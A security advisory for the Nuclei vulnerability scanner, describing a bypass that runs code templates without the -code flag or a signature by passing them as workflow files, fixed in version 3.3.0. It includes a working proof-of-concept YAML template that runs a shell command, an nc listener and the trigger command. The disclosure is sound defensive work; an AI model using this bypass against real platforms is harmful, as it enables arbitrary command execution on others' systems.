Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Affected: Go: github.com/projectdiscovery/nuclei/v3

### Summary Find a way to execute code template without -code option and signature.

### Details write a `code.yaml`: ```yaml id: code

info: name: example code template author: ovi3

code: - engine: - sh - bash source: | id

http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}}

{{code_response}}

workflows: - matchers: - name: t ```

using nc to listen on 80: ```bash nc -lvvnp 80 ```

execute PoC template with nuclei: ```bash ./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug ``` and nc will get `id` command output.

We use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.

Test in Linux and Nuclei v3.2.9

### Impact Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)